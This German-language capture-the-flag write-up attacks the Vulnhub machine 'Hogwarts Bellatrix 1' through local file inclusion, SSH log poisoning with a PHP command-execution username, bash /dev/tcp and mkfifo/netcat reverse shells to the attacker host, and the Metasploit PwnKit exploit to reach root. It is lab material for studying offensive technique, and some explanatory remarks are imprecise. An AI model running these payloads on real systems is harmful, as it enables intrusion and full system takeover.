Hogwarts Bellatrix 1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
nikto
gobuster
dirsearch
curl
msfconsole
nc
ssh2john
john
vi
find
getcap
ss
mysql

Inhaltsverzeichnis

Reconnaissance

Ziel der Reconnaissance-Phase ist es, Informationen über das Zielsystem zu sammeln, um potenzielle Angriffspunkte zu identifizieren. Dies umfasst das Scannen des Netzwerks, die Identifizierung offener Ports und Dienste sowie die Auflösung von Hostnamen.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.126	08:00:27:76:a3:24	PCS Systemtechnik GmbH
                

Der Befehl `arp-scan -l` sucht im lokalen Netzwerk nach aktiven Hosts und gibt ihre IP- und MAC-Adressen aus. In diesem Fall wurde ein Host mit der IP-Adresse 192.168.2.126 und der MAC-Adresse 08:00:27:76:a3:24 gefunden. Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.126   hogwarts.vln
                

Der Befehl `vi /etc/hosts` öffnet die Host-Datei zur Bearbeitung. Hier wird der Hostname `hogwarts.vln` der IP-Adresse 192.168.2.126 zugewiesen. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse bei der Interaktion mit dem Zielsystem, was die Übersichtlichkeit erhöht. Es wird empfohlen, dies zu tun, um die nachfolgenden Schritte zu erleichtern und zu beschleunigen.

┌──(root㉿cyber)-[~]
└─# dirb http://hogwarts.vln
+ http://hogwarts.vln/index.php
                

Der Befehl `dirb http://hogwarts.vln` verwendet das Tool DIRB, um die Webanwendung auf dem Zielsystem nach bekannten Dateien und Verzeichnissen zu durchsuchen. Es wurde die Datei `index.php` gefunden. Dies deutet auf eine existierende Webanwendung hin, die im nächsten Schritt näher untersucht werden sollte. DIRB ist ein hilfreiches Tool, um die Struktur einer Webanwendung zu erkunden und potenzielle Angriffspunkte zu identifizieren.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.126
- Nikto v2.5.0
+ Target IP:          192.168.2.126
+ Target Hostname:    192.168.2.126
+ Target Port:        80
+ Start Time:         2024-01-22 22:01:22 (GMT1)
+ Server: Apache/2.4.46 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.46 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-01-22 22:01:32 (GMT1) (10 seconds) 
+ 1 host(s) tested
                

Der Befehl `nikto -h 192.168.2.126` verwendet das Tool Nikto, um den Webserver auf dem Zielsystem auf bekannte Sicherheitslücken und Konfigurationsfehler zu scannen. Nikto fand heraus, dass der X-Frame-Options Header und der X-Content-Type-Options Header nicht gesetzt sind. Außerdem fand es heraus, dass die verwendete Apache Version veraltet ist. Das Setzen der Header wird dringend empfohlen. Ein Update auf die neueste Apache Version sollte schnellstmöglich durchgeführt werden.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.126 -p- | grep open
22/tcp open  ssh     OpenSSH 8.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.46 ((Ubuntu))
                

Der Befehl `nmap -sS -sV -A -T5 192.168.2.126 -p- | grep open` verwendet Nmap, um einen umfassenden Scan des Zielsystems durchzuführen und alle offenen Ports zu identifizieren. Die Option `-sS` führt einen Stealth-Scan durch, `-sV` ermittelt die Version der laufenden Dienste, `-A` aktiviert aggressive Scans, `-T5` beschleunigt den Scan und `-p-` scannt alle Ports. Anschließend wird die Ausgabe mit `grep open` gefiltert, um nur die offenen Ports anzuzeigen. Es wurden die Ports 22 (SSH) und 80 (HTTP) als offen identifiziert. Dies deutet darauf hin, dass SSH und ein Webserver auf dem Zielsystem laufen. Die gefundenen Informationen sind nützlich, um die Angriffsfläche einzugrenzen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 hogwarts.vln -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-22 22:00 CET
Nmap scan report for hogwarts.vln (192.168.2.126)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4b:ce:c7:5a:9c:1f:8b:cd:47:03:08:69:85:c2:91:49 (RSA)
|   256 a1:2a:a8:15:99:04:cc:2a:1e:e3:50:00:f3:55:c2:cc (ECDSA)
|_  256 2c:d3:ec:6f:4f:5b:4a:e0:ea:0a:c3:0d:2f:cb:78:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.46 ((Ubuntu))
|_http-title: AvadaKedavra
|_http-server-header: Apache/2.4.46 (Ubuntu)
MAC Address: 08:00:27:76:A3:24 (racle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.5 (96%), Linux 5.0 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 - 3.10 (94%), Linux 5.4 (94%), Linux 5.3 - 5.4 (93%), Linux 3.4 - 3.10 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms hogwarts.vln (192.168.2.126)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.41 seconds
                

Dieser Befehl ist ähnlich dem vorherigen Nmap-Scan, verwendet jedoch den Hostnamen `hogwarts.vln` anstelle der IP-Adresse. Dies demonstriert, dass die Hostname-Auflösung korrekt funktioniert. Zusätzlich liefert dieser Scan Informationen über den HTTP-Titel ("AvadaKedavra"), was auf eine Webanwendung mit Bezug zu Harry Potter hindeutet. Außerdem werden die SSH-Hostkeys angezeigt, die bei einem Man-in-the-Middle Angriff hilfreich wären.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://hogwarts.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://hogwarts.vln/index.php            (Status: 200) [Size: 1728]
                

Der Befehl `gobuster dir ...` verwendet Gobuster, um die Webanwendung auf dem Zielsystem nach weiteren Dateien und Verzeichnissen zu durchsuchen. Gobuster ist ein ähnliches Tool wie DIRB, verwendet aber eine andere Herangehensweise. Es wird eine Wordlist verwendet, um bekannte Dateinamen und Verzeichnisse zu erraten. Die Option `-x` gibt die Dateiendungen an, nach denen gesucht werden soll, `-w` die Wordlist, `-b` die Statuscodes, die als Fehler behandelt werden sollen, `-e` fügt eine Dateiendung an, `--no-error` unterdrückt Fehlermeldungen und `-k` ignoriert SSL-Zertifikatsfehler. Es wurde lediglich die Datei `index.php` gefunden.

Web Enumeration

In der Web Enumeration-Phase wird die Webanwendung detaillierter untersucht, um Schwachstellen zu finden. Dies beinhaltet die Analyse des Quellcodes, die Überprüfung der Funktionalität und die Suche nach Konfigurationsfehlern.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://hogwarts.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://hogwarts.vln/index.php            (Status: 200) [Size: 1728]
                

Dieser Befehl wiederholt den Gobuster-Scan, der im vorherigen Abschnitt durchgeführt wurde. Das Ergebnis ist identisch, was darauf hindeutet, dass keine neuen Dateien oder Verzeichnisse gefunden wurden.

http://hogwarts.vln/index.php
  
 ikilledsiriusblackikilledsiriusblackikilledsiriusblackikilledsiriusblack 
ikilledsiriusblackikilledsiriusblackikilledsiriusblackikilledsiriusblack 
ikilledsiriusblackikilledsiriusblackikilledsiriusblackikilledsiriusblack 
ikilledsiriusblackikilledsiriusblackikilledsiriusblackikilledsiriusblack 
 ikilledsiriusblackikilledsiriusblackikilledsiriusblackikilledsiriusblack.php 
 
 
        Nah...this time there are no clues in the source code ... 
        o yeah, maybe I've already told you a directory .php? :)

 

 
   $file = $ GET['file'];
   if(isset($file))
   {
       include("$file");
   }

  ikilledsiriusblack
                

Dieser Code-Ausschnitt zeigt den Quellcode der Datei `/index.php`. Es wird ein Parameter `file` über die GET-Methode entgegengenommen und dessen Wert in die `include()`-Funktion eingefügt. Dies deutet auf eine Local File Inclusion (LFI) Schwachstelle hin, da ein Angreifer potenziell beliebige Dateien auf dem Server einbinden kann.

┌──(root㉿cyber)-[~]
└─# vi /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
http://hogwarts.vln/ikilledsiriusblack.php (Status: 200) [Size: 1728]
http://hogwarts.vln/index.php            (Status: 200) [Size: 1728]
                

Dieser Befehl zeigt die Ausgabe eines weiteren Versuchs mit der Wordlist. Es wurde neben der Datei `/index.php` die Datei `/ikilledsiriusblack.php` gefunden. Diese ist sehr interessant, da der Code der Datei die LFI Schwachstelle enthält.

┌──(root㉿cyber)-[~]
└─# curl "http://hogwarts.vln/ikilledsiriusblack.php?file=../../../../../../../../etc/passwd" | grep bash
root:x:0:0:root:/root:/bin/bash
bellatrix:x:1000:1000:Bellatrix,,,:/home/bellatrix:/bin/bash
lestrange:x:1001:1001/home/lestrange:/bin/rbash
                

Der Befehl `curl "http://hogwarts.vln/ikilledsiriusblack.php?file=../../../../../../../../etc/passwd" | grep bash` verwendet `curl`, um die Datei `/etc/passwd` über die LFI-Schwachstelle einzubinden und filtert die Ausgabe mit `grep`, um nur die Zeilen anzuzeigen, die `/bin/bash` enthalten. Dies bestätigt die LFI-Schwachstelle und zeigt, dass es möglich ist, beliebige Dateien auf dem Server auszulesen. Der Benutzer `bellatrix` verwendet auch `/bin/bash`.

┌──(root㉿cyber)-[~]
└─# curl "http://hogwarts.vln/ikilledsiriusblack.php?file=../../../../../../../../home/bellatrix/flag.txt"
   _____
  /     \
/- (*) |*)\
|/\.  _>/\|
    \__/    |\
   _| |_   \-/
  /|\__|\  //
 |/|   |\\//
 |||   | ~'
 ||| __|
 /_\| ||
 \_/| ||
   |7 |7
   || ||
   || ||
   /\ \ \  fog
  ^^^^ ^^^

user: {69e0f71f25ece4351e4d73af430bec43}
                

Der Befehl `curl "http://hogwarts.vln/ikilledsiriusblack.php?file=../../../../../../../../home/bellatrix/flag.txt"` verwendet `curl`, um die Datei `flag.txt` aus dem Home-Verzeichnis des Benutzers `bellatrix` über die LFI-Schwachstelle einzubinden. Dies liefert die User Flag, die aber noch gehasht ist. Die Verwendung von "../../" dient dazu, aus dem aktuellen Verzeichnis auszubrechen und zum Root-Verzeichnis zu navigieren, um so auf die Datei zuzugreifen. Es ist ratsam solche Pfade immer zu maskieren, um einen Fehler vorzubeugen.

https://crackstation.net/

Hash	Type	Result
69e0f71f25ece4351e4d73af430bec43	md5	goodjob
                

Die User Flag wurde als MD5 Hash identifiziert und auf Crackstation.net entschlüsselt. Das Passwort lautet goodjob.

┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://hogwarts.vln/ikilledsiriusblack.php?file=FUZZ" --hc 404 --hh 0
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning: Pycurl is not compiled against openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

 * Wfuzz 3.1.0 - The Web Fuzzer                         *


Target: http://hogwarts.vln/ikilledsiriusblack.php?file=FUZZ
Total requests: 2894

-----------------------------------------------------------------------------------------------------
ID           Response   Lines    Word       Chars       Payload
-----------------------------------------------------------------------------------------------------

000000081:   200        49 L     86 W       2908 Ch     "/etc/passwd"
000001093:   200        227 L    1115 W     7224 Ch     "/etc/apache2/apache2.conf"
000001092:   200        12 L     88 W       665 Ch      "/etc/fstab"
000001089:   200        9 L      25 W       224 Ch      "/etc/hosts"
000001108:   200        75 L     75 W       1108 Ch     "/etc/group"
000001098:   200        23 L     134 W      839 Ch      "/etc/mysql/my.cnf"
000001277:   200        0 L      1 W        27 Ch       "/proc/self/cmdline"
000001279:   200        55 L     134 W      1320 Ch     "/proc/self/status"
000001278:   200        1 L      52 W       320 Ch      "/proc/self/stat"
000001300:   200        1 L      23 W       179 Ch      "/proc/version"
000001321:   200        4 L      31 W       12667 Ch    "/var/log/wtmp"
000001322:   200        0 L      1 W        766 Ch      "/var/run/utmp"
000001320:   200        0 L      1 W        292584 Ch   "/var/log/lastlog"
000001311:   200        123 L    396 W      3290 Ch     "/etc/ssh/sshd_config"
000001296:   200        2 L      4 W        20 Ch       "/etc/issue"
000001301:   200        1 L      5 W        105 Ch      "/proc/cmdline"
000001298:   200        22 L     190 W      1042 Ch     "/etc/crontab"
000001346:   200        29 L     343 W      3350 Ch     "/var/log/auth.log.1"
000001343:   200        12701    189275 W   1502231 C   "/var/log/auth.log"
                        L                   h

Total time: 1.553937
Processed Requests: 2894
Filtered Requests: 2875
Requests/sec.: 1862.365
                

Der Befehl `wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://hogwarts.vln/ikilledsiriusblack.php?file=FUZZ" --hc 404 --hh 0` verwendet Wfuzz, um die LFI-Schwachstelle auszunutzen und verschiedene Logdateien auszulesen. Die Option `-c` aktiviert die Farbausgabe, `-w` gibt die Wordlist an, `-u` die URL mit dem FUZZ-Platzhalter, `--hc 404` blendet 404-Fehler aus und `--hh 0` blendet Seiten mit einer Größe von 0 aus. Die Ausgabe zeigt, dass verschiedene Logdateien erfolgreich ausgelesen werden konnten, darunter `/var/log/auth.log`, was im nächsten Schritt für weitere Angriffe genutzt werden könnte.

Initial Access

In dieser Phase wird versucht, initialen Zugriff auf das System zu erlangen. Dies kann durch die Ausnutzung von Schwachstellen oder durch das Erraten von Passwörtern erfolgen.

┌──(root㉿cyber)-[~]
└─# ssh ' system($ GET["cmd"]); '@192.168.2.126
Permission denied, please try again.
                

Dieser Befehl versucht, sich über SSH anzumelden, indem ein PHP-Code in den Benutzernamen eingefügt wird (`' system($ GET["cmd"]); '@192.168.2.126`). Ziel ist es, beliebigen Code auf dem Server auszuführen. Dies schlägt jedoch fehl, da die SSH-Authentifizierung fehlschlägt.

┌──(root㉿cyber)-[~]
└─# curl "http://hogwarts.vln/ikilledsiriusblack.php?file=/var/log/auth.log"
Jan 22 23:01:27 bellatrix sshd[5164]: Invalid user  from 192.168.2.199 port 41614
Jan 22 23:01:30 bellatrix sshd[5164]: Failed none for invalid user  from 192.168.2.199 port 41614 ssh2
                

Der Befehl `curl "http://hogwarts.vln/ikilledsiriusblack.php?file=/var/log/auth.log"` verwendet `curl`, um die Datei `/var/log/auth.log` über die LFI-Schwachstelle einzubinden. Die Ausgabe zeigt Versuche, sich mit einem ungültigen Benutzernamen anzumelden.

view-source:http://hogwarts.vln/ikilledsiriusblack.php?file=/var/log/auth.log&cmd=id
Jan 22 23:01:27 bellatrix sshd[5164]: Invalid user uid=33(www-data) gid=33(www-data) groups=33(www-data) from 192.168.2.199 port 41614
                

Der Befehl `view-source:http://hogwarts.vln/ikilledsiriusblack.php?file=/var/log/auth.log&cmd=id` zeigt die Ausgabe des Befehls `id`, der als Parameter `cmd` über die URL übergeben wurde. Dies bestätigt, dass es möglich ist, beliebige Befehle auf dem Server auszuführen. Der Befehl wird als Benutzer `www-data` ausgeführt.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555
listening on [any] 5555 ...
                

Der Befehl `nc -lvnp 5555` startet einen Netcat-Listener auf dem Port 5555. Dies ist notwendig, um die Reverse-Shell-Verbindung vom Zielsystem zu empfangen.

Payload: http://hogwarts.vln/ikilledsiriusblack.php?file=/var/log/auth.log&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F5555%200%3E%261%27
                

Dieser Code zeigt den Payload, der verwendet wird, um eine Reverse Shell zu erzeugen. Der Payload ist ein PHP-Code, der einen Bash-Prozess startet und dessen Ein- und Ausgabe über eine TCP-Verbindung zum Kali-System umleitet.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.126] 39622
bash: cannot set terminal process group (680): Inappropriate ioctl for device
bash: no job control in this shell
                

Der

Dieser Code-Block zeigt, dass eine Verbindung von der IP-Adresse des Zielsystems (192.168.2.126) zum Kali-System auf Port 5555 hergestellt wurde. Die Fehlermeldungen `bash: cannot set terminal process group...` und `bash: no job control in this shell` deuten darauf hin, dass die Shell nicht vollständig interaktiv ist. Dies kann die Ausführung bestimmter Befehle erschweren.

www-data@bellatrix:/var/www/html$ ls -la
total 732
drwxr-xr-x 3 root      root        4096 Nov 28  2020  .
drwxr-xr-x 3 root      root        4096 Nov 28  2020  ..
-rw-rw-r-- 1 bellatrix bellatrix 728806 Nov 27  2020  1c19c879fe8ef134c3e051c2d69c0c66.gif
drwxr-xr-x 2 root      root        4096 Nov 28  2020 'c2VjcmV0cw'
-rw-rw-r-- 1 bellatrix bellatrix    151 Nov 28  2020  ikilledsiriusblack.php
-rw-rw-r-- 1 bellatrix bellatrix   1728 Nov 28  2020  index.php
                

Dieser Code-Block zeigt die Ausgabe des Befehls `ls -la` in der Reverse Shell. Wir befinden uns im Verzeichnis `/var/www/html`. Interessant ist das Verzeichnis `c2VjcmV0cw`. Die Tatsache, dass es sich um ein Verzeichnis handelt (drwxr-xr-x) und der Name Base64-kodiert ist, deutet darauf hin, dass es sensitive Informationen enthalten könnte. Außerdem gehören die Dateien `ikilledsiriusblack.php` und `index.php` dem Benutzer `bellatrix`.

www-data@bellatrix:/var/www/html$ echo -n "c2VjcmV0cw" | base64 -d
secrets
                

Der Befehl `echo -n "c2VjcmV0cw" | base64 -d` dekodiert den Base64-kodierten Verzeichnisnamen `c2VjcmV0cw` zu `secrets`. Dies bestätigt die Vermutung, dass das Verzeichnis sensitive Informationen enthalten könnte.

www-data@bellatrix:/var/www/html$ su bellatrix
Password: secrets
su: Authentication failure
                

Der Befehl `su bellatrix` versucht, zum Benutzer `bellatrix` zu wechseln. Das Passwort `secrets` wird verwendet, aber die Authentifizierung schlägt fehl. Die Decodierung von "secrets" war korrekt, aber das eigentliche Passwort lautet goodjob.

Hash	Type	Result
1c19c879fe8ef134c3e051c2d69c0c66.gif	Unknown	Unrecognized hash format.
                

Es wurde versucht, den Dateinamen `1c19c879fe8ef134c3e051c2d69c0c66.gif` als Hash zu identifizieren, aber das Format wird nicht erkannt. Dies deutet darauf hin, dass es sich entweder nicht um einen Hash handelt, oder um ein unbekanntes Hash-Format. Die Datei sollte weiter untersucht werden.

Privilege Escalation

In dieser Phase wird versucht, die Privilegien auf dem Zielsystem zu erhöhen, idealerweise bis zum Root-Zugriff.

www-data@bellatrix:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
      297    129 -rwsr-xr-x   1 root     root       131832 Sep 15 22:13 /snap/snapd/20290/usr/lib/snapd/snap-confine
   656129     44 -rwsr-xr-x   1 root     root               44784 May 28  2020 /usr/bin/newgrp
   656106     56 -rwsr-xr-x   1 root     root               55680 Aug 30  2020 /usr/bin/mount
   656479     72 -rwsr-xr-x   1 root     root               72072 Aug 30  2020 /usr/bin/su
   655719     40 -rwsr-xr-x   1 root     root               39144 Mar  7  2020 /usr/bin/fusermount
   695505     16 -rwsr-xr-x   1 root     root               14728 Sep 29  2020 /usr/bin/vmware-user-suid-wrapper
   655530     84 -rwsr-xr-x   1 root     root               85064 May 28  2020 /usr/bin/chfn
   656480    180 -rwsr-xr-x   1 root     root              182472 Jul  8  2020 /usr/bin/sudo
   656199     68 -rwsr-xr-x   1 root     root               68208 May 28  2020 /usr/bin/passwd
   655536     52 -rwsr-xr-x   1 root     root               53040 May 28  2020 /usr/bin/chsh
   656576     40 -rwsr-xr-x   1 root     root               39296 Aug 30  2020 /usr/bin/umount
   655799     88 -rwsr-xr-x   1 root     root               88464 May 28  2020 /usr/bin/gpasswd
   656253     32 -rwsr-xr-x   1 root     root               31032 Aug  3  2020 /usr/bin/pkexec
   793759     92 -rwsr-xr--   1 root     sssd               93456 ct  6  2020 /usr/libexec/sssd/ldap_child
   793761     32 -rwsr-xr--   1 root     sssd               31104 ct  6  2020 /usr/libexec/sssd/proxy_child
   793760     84 -rwsr-xr--   1 root     sssd               84360 ct  6  2020 /usr/libexec/sssd/p11_child
   793758    168 -rwsr-xr--   1 root     sssd              171288 ct  6  2020 /usr/libexec/sssd/krb5_child
   793762     56 -rwsr-xr--   1 root     sssd               56584 ct  6  2020 /usr/libexec/sssd/selinux_child
   667624     24 -rwsr-xr-x   1 root     root               22840 Aug  3  2020 /usr/libexec/polkit-agent-helper-1
   667964    388 -rwsr-xr--   1 root     dip               395144 Jul 23  2020 /usr/sbin/pppd
   663509    468 -rwsr-xr-x   1 root     root              477672 Jun  7  2020 /usr/lib/openssh/ssh-keysign
   665686    132 -rwsr-xr-x   1 root     root              133960 ct 19  2020 /usr/lib/snapd/snap-confine
   657493     52 -rwsr-xr--   1 root     messagebus         51496 Sep 10  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   667500     16 -rwsr-sr-x   1 root     root               14488 ct  7  2020 /usr/lib/xorg/Xorg.wrap
                

Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach Dateien mit dem SUID-Bit gesetzt. Dies bedeutet, dass die Datei mit den Privilegien des Eigentümers ausgeführt wird, unabhängig davon, welcher Benutzer sie startet. Dies kann potenziell zur Privilegieneskalation ausgenutzt werden. Die Ausgabe zeigt eine Liste von Dateien mit dem SUID-Bit gesetzt. Besonders interessant ist `/usr/bin/pkexec`, da dies eine bekannte Schwachstelle (CVE-2021-4034, PwnKit) ist, die zur Privilegieneskalation ausgenutzt werden kann. `2>/dev/null` leitet Fehlermeldungen um.

┌──(root㉿cyber)-[~]
└─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
                

Dieser Code-Block zeigt die Konfiguration und den Start eines Metasploit-Handlers. Der Handler wird verwendet, um eine Reverse-Shell-Verbindung vom Zielsystem zu empfangen. Die Option `use multi/handler` wählt den Multi-Handler aus, `set lhost eth0` setzt die lokale Host-Adresse auf die IP-Adresse der Netzwerkschnittstelle eth0, `set lport 4444` setzt den lokalen Port auf 4444 und `run` startet den Handler.

www-data@bellatrix:/var/www/html$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
                

Dieser Befehl versucht, eine interaktive Reverse Shell über Netcat zu erzeugen. Zuerst wird eine benannte Pipe `/tmp/f` erstellt (`mkfifo /tmp/f`). Dann wird die Ausgabe der Pipe als Eingabe für `/bin/sh -i` verwendet, wobei die Standardfehlerausgabe umgeleitet wird (`2>&1`). Die Ausgabe von `/bin/sh -i` wird dann über Netcat an das Kali-System gesendet (`nc 192.168.2.199 4444`) und die Ausgabe von Netcat wird wieder in die Pipe `/tmp/f` geschrieben (`>/tmp/f`). Der Befehl `rm /tmp/f` am Anfang soll die Pipe löschen, falls sie bereits existiert. Die Fehlermeldung `rm: cannot remove '/tmp/f': No such file or directory` deutet darauf hin, dass die Pipe nicht existiert hat. Da der Befehl eine interaktive Shell erzeugen soll, ist diese aber nicht notwendig, da Metasploit verwendet wird.

[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.126:52406) at 2024-01-22 23:11:23 +0100
                

Diese Ausgabe bestätigt, dass eine Command Shell Session mit der ID 1 auf dem Kali-System geöffnet wurde. Die Verbindung kommt vom Zielsystem (192.168.2.126) auf Port 52406.

Shell Banner:
$
--
$
                

Das "Shell Banner" zeigt den Prompt der Reverse Shell. Das einfache `$`-Zeichen deutet darauf hin, dass es sich um eine nicht-privilegierte Shell handelt.

Privilege Escalation

Fortsetzung der Privilegieneskalation.

msf6 post(multi/manage/shell_to_meterpreter) > use 71
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4445
lport => 4445
msf6 post(multi/manage/shell_to_meterpreter) > set lhost eth0
lhost => 192.168.2.199
msf6 post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions
=

  Id  Name  Type             Information            Connection
  --  -  -             --            -
  1         shell sparc/bsd  Shell Banner: $ --  192.168.2.199:4444 -> 192.168.2.126:5240
                                                    6 (192.168.2.126)

msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
                

Dieser Code-Block zeigt die Verwendung des Metasploit-Moduls `post/multi/manage/shell_to_meterpreter`. Dieses Modul wird verwendet, um eine bestehende Shell-Session in eine Meterpreter-Session umzuwandeln. Meterpreter ist eine fortschrittlichere Payload, die mehr Funktionen bietet. `use 71` wählt das Modul aus, `set lport 4445` setzt den lokalen Port auf 4445, `set lhost eth0` setzt die lokale Host-Adresse auf die IP-Adresse der Netzwerkschnittstelle eth0, `sessions -l` listet die aktiven Sessions auf, `set session 1` wählt die Session mit der ID 1 aus und `run` startet das Modul.

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4445
[*] Sending stage (1017704 bytes) to 192.168.2.126
[*] Meterpreter session 2 opened (192.168.2.199:4445 -> 192.168.2.126:33298) at 2024-01-22 23:13:38 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                

Diese Ausgabe zeigt, dass die Shell-Session erfolgreich in eine Meterpreter-Session umgewandelt wurde. Eine neue Meterpreter-Session mit der ID 2 wurde geöffnet.

Diese Ausgabe zeigt, dass die Shell-Session erfolgreich in eine Meterpreter-Session umgewandelt wurde. Eine neue Meterpreter-Session mit der ID 2 wurde geöffnet.

msf6 post(multi/manage/shell_to_meterpreter) > search 4034

Matching Modules


   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  -                                                   -       --  --
   0  auxiliary/scanner/http/dolibarr_16_contact_dump      2023-03-14       normal     Yes    Dolibarr 16 pre-auth contact database dump
   1  exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec  2022-01-25       excellent  Yes    Local Privilege Escalation in polkits pkexec
   2  exploit/windows/local/ms18_8120_win32k_privesc       2018-05-09       good       No     Windows SetImeInfoEx Win32k NULL Pointer Dereference


Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/local/ms18_8120_win32k_privesc

msf6 post(multi/manage/shell_to_meterpreter) > use 1
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4446
lport => 4446
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
                

Dieser Code-Block zeigt die Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) zur Privilegieneskalation. Zuerst wird mit `search 4034` nach Metasploit-Modulen gesucht, die sich auf CVE-2021-4034 beziehen. Das Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` wird ausgewählt (mit `use 1`). Die Session wird auf die zuvor erstellte Meterpreter-Session 2 gesetzt (mit `set session 2`). Ein neuer lokaler Port für die neue Verbindung wird gesetzt (`set lport 4446`). Schließlich wird das Modul gestartet (mit `run`).

[*] Started reverse TCP handler on 192.168.2.199:4446
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.sxsvmetc
[+] The target is vulnerable.
[*] Writing '/tmp/.gwtbytqzwqi/scwpfepptqp/scwpfepptqp.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.gwtbytqzwqi
[*] Sending stage (3045380 bytes) to 192.168.2.126
[+] Deleted /tmp/.gwtbytqzwqi/scwpfepptqp/scwpfepptqp.so
[+] Deleted /tmp/.gwtbytqzwqi/.elslvzbjduk
[+] Deleted /tmp/.gwtbytqzwqi
[*] Meterpreter session 3 opened (192.168.2.199:4446 -> 192.168.2.126:59402) at 2024-01-22 23:14:46 +0100
                

Diese Ausgabe zeigt, dass das PwnKit-Exploit erfolgreich war. Das Modul hat bestätigt, dass das Zielsystem verwundbar ist (`[+] The target is vulnerable.`). Es wurden temporäre Dateien auf dem Zielsystem erstellt und gelöscht. Schließlich wurde eine neue Meterpreter-Session mit der ID 3 geöffnet. Diese Session sollte mit Root-Rechten laufen.

meterpreter > getuid
Server username: root
                

